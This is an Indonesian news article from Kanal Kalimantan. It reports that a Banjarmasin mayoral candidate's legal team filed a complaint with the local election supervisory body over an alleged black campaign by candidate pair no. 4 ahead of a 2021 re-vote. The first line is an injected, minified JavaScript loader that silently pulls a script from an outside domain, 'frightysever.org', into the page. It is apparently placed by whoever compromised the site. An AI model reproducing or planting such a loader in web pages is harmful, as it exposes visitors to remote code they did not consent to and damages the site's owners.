(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA BANJARMASIN

Kuasa Hukum Ibnu-Arifin Laporkan Paslon No 4 Ke Bawaslu Kota Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Tim Kuasa Hukum Ibnu-Arifin, calon Wali Kota Banjarmasin, sambangi Bawaslu Kota Banjarmasin, Rabu (14/4/2021). Mereka melaporkan terkait dugaan kampanye hitam yang dilalukan oleh paslon nomor urut 4.

Tim Kuasa Hukum Ibnu-Arifin melaporkan dugaan adanya pelanggaran kampanye terselubung yang dilakukan oleh calon Wali Kota No urut 4, disalah satu wilayah Pemilihan Suara Ulang (PSU) yaitu di Kelurahan Mantuil.

Kurniawan, anggota tim kuasa hukum Ibnu-Arifin kepada kanalkalimantan.com mengatakan, kegiatan kampanye itu dibentuk dalam bentuk pengajian.

“Tapi di dalamnya ada ajakan untuk memilih, ada pembagian bahan kampanye, ada pencitraan paslon 04 dan yang sangat kami sayangkan adanya fitnah, ajaran kebencian juga unsur SARA, yang diucapkan oleh salah satu jurkamnya,” ujarnya.

Ia mengatakan, tuduhan yang disampaikan yakni pembagian bansos covid-19 yang curang, lalu adanya penyalahgunaan dana anggaran pembangunan jembatan Pulau Bromo, lalu unsur SARA, yang mengatakan kalau Ibnu Sina merupakan orang Puruk Cahu, dan bukan asli orang Banjarmasin.

“Tujuan tim ini ke Bawaslu Kota Banjarmasin, agar Bawaslu bisa menindak lanjuti adanya kegiatan kampanye yang dilakukan oleh paslon no urut 4 tersebut. Selain itu juga, adanya ujaran-ujaran kebencian yang mengandung unsur SARA tersebut,” ungkap Kurniawan.

Ia berharap dengan adanya black campaign ini, pihak Bawaslu bisa menegakkan aturan yang sebagaimana mestinya. “Supaya jangan sampai ada konflik di lapangan, dan PSU bisa berjalan dengan baik,” harap Kurniawan.

Menyikapi hal tersebut, Bawaslu Kota Banjarmasin, melalui Kordiv Penanganan Pelanggaran Bawaslu Kota Banjarmasin, Subhani mengatakan, telah menerima laporan dari tim kuasa hukum Ibnu-Arifin, terkait adanya dugaan pelanggaran yang dilakukan paslon no urut 4.

“Dari laporan ini, kita akan melakukan kajian awal, yang diperkirakan selama 3 hari. Dalam kajian ini akan dilakukan pemeriksaan, apa bila sudah lengkap akan langsung kita daftarkan, dan apa bila ada kekurangan akan kita minta kelengkapan buktinya,” tambahnya.

Apa bila didapati adanya pelanggaran pidana dan administratif, akan diberikan sanksi sesuai dengan aturan dan ketentuan yang berlaku.

Ia juga berharap, para paslon bisa menjaga kondusifitas PSU ini dan bisa menahan diri agar tidak melakukan hal-hal yang dilarang dalam aturan yang berlaku. “Jangan sampai ada hal-hal yang tidak diinginkan menjelang PSU ini,” pungkas Subhani.(Kanalkalimantan/Tius)

 

Reporter : tius
Editor : Cell

 

 


Al Ghifari

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

5 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

6 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

13 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

13 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

17 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

17 jam ago

This website uses cookies.